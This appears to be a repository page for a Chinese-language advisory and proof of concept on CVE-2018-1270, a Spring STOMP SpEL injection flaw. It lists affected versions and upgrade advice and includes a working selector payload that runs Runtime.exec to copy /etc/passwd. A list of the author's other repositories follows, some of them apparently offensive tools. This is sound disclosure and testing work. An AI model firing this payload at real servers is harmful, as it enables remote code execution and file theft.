• This repository has been archived on 05/Feb/2020
  • Stars
    star
    112
  • Rank 310,607 (Top 7 %)
  • Language
    Java
  • Created over 6 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Spring messaging STOMP protocol RCE

CVE-2018-1270 - Spring messaging Spel 代码执行漏洞

昨天 Spring 公布了1个RCE漏洞,了解一下:

影响版本

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14

这个漏洞对环境没有要求,如果你在使用 spring-messaging + websocket + STOMP,请尽快升级到最新版本;如果你在用 SpringBoot,请升级到 2.0.1.RELEASE

漏洞详情

简单说,由于 StandardEvaluationContext 权限太大,可以执行任意 SpEL 表达式,所以官方在 Spring 5.0.5 之后添加了 SimpleEvaluationContext,用于实现简单的数据绑定,保持灵活性但不带来安全隐患。

spring-messaging 提供了 STOMP 协议支持,允许客户端订阅消息,并使用 selector 去过滤消息,e.g

selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

当你在订阅时,spring 会存储这个过滤器,并在客户端收到消息时触发,e.g

2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

Poc 截屏

screenshot

具体漏洞分析文章,稍后发出

环境使用方法

编译并启动 Spring Boot 服务器,

mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

访问 - 输入表达式进行测试,

http://localhost:8080

screenshot

More Repositories

1

awesome-opensource-security

A list of interesting open-source tools
397
star
2

drivers-binaries

Exploitable drivers, you know what I mean
74
star
3

DLL_Hijacker_Rewritten

Python
39
star
4

php-decoder

基于 zend_compile_string 的 PHP 加密代码解密工具
24
star
5

PasswordFilter

C++
15
star
6

public-src

非涉密源码
PowerShell
15
star
7

list-backup-2021.12

13
star
8

list-backup-2021.08

Monthly Backup of awesome-opensource-security
9
star
9

rdpscan

RDP password verification tool - No external libraries required ;-P
C
8
star
10

password-distance

常见密码变形方法
Python
7
star
11

discuz-getshell-auto-method2

Discuz 全自动GetShell 方法#2
PHP
6
star
12

DidiCityPickerViewController

滴滴出行风格的城市选择器
Objective-C
5
star
13

PatchGuard

*NIX Kernel PatchGuard Implementation
C
5
star
14

Remote-Desktop-Manager-decrypter

4
star
15

resty-memcached-consistent

Consistent Hashing in memcached, a modified version of resty-memcached
Lua
4
star
16

list-backup-2020.11

Monthly Backup of awesome-opensource-security
4
star
17

cdnid

CDN 网段识别
Perl
3
star
18

kekeo-with-asn-vs2013

kekeo exploit
C
3
star
19

Phishing-Samples

钓鱼样本,仅截图
3
star
20

wordpress-backdoor

Backdooring WordPress with APIs
PHP
3
star
21

redis-dir-brute

利用redis性能探测目录是否存在
Perl
3
star
22

CS_SQLite3_fixed

C#
3
star
23

chrome-extension-examples

chrome 扩展例子
JavaScript
2
star
24

bccrypto-csharp

Bouncy crypto with AES-256-GCM only
C#
2
star
25

pdb-downloader-py

PDB download tool
Python
2
star
26

SpriteCreator

CSS Sprite Creator for UNIX systems, public edition has no algorithm on image arrangement.
C++
2
star
27

wordpress-getshell

Perl
2
star
28

weblogic-decryptor

Weblogic password decryption, JARs copied from wls12130
Java
2
star
29

pupyrat-config-decoder

Extract and decode pupyrat client configuration
Python
2
star
30

redis-getshell

Perl
2
star
31

windows-internal-structure

Undocumented, not google listed windows internal structure
C
2
star
32

useless-virus-samples

一些没用的后门和病毒样本
2
star
33

RDO-decrypt

Decrypt connections.dat created with Remote Desktop Organizer
1
star
34

stdin2websocket

Read whatever available from stdin and deliver it to all websocket peers
JavaScript
1
star
35

tftpboot-root

PXELinux 测试文件
1
star
36

waf-fuzz-example

Example code to Fuzz WAF rules
Python
1
star
37

ios-snippets-objc

iOS 开发常用代码,Object-C
Objective-C
1
star
38

nse-scripts

Private NSE scripts
Lua
1
star
39

static-compile-scripts

静态编译脚本集合
Shell
1
star
40

office-malware-samples

Malware samples
1
star
41

decrypt-vnc

Python
1
star
42

CLineEdit

Qt lineedit wiget, plus a 'clear' button on the right side.
C++
1
star
43

ipt_counting

iptables monitoring tool, for conky scripting
C
1
star
44

src-scan

Simple artifact parser
Python
1
star
45

ipsec-autosetup

Shell
1
star
46

Sublime-EncodingConverter

Reopen the current file and convert from whatever encoding you like to UTF-8
Python
1
star
47

macos-sandbox-profiles

1
star
48

myflow

Pcap analysis tool, HTTP parsing
C
1
star
49

logparser

按行解析,使用 regex 提取字段,并按照指定的名字自动保存为 sqlite
Perl
1
star
50

wx-decrypt-auto-old

Shell
1
star
51

awesome-ppt-design

各种安全报告截图,主要是设计比较好的图表
1
star
52

InternalsViewer-archive

Internals Viewer for SQL Server
C#
1
star
53

ConkyConfig

My conky config plus a mpd cover fetcher
Perl
1
star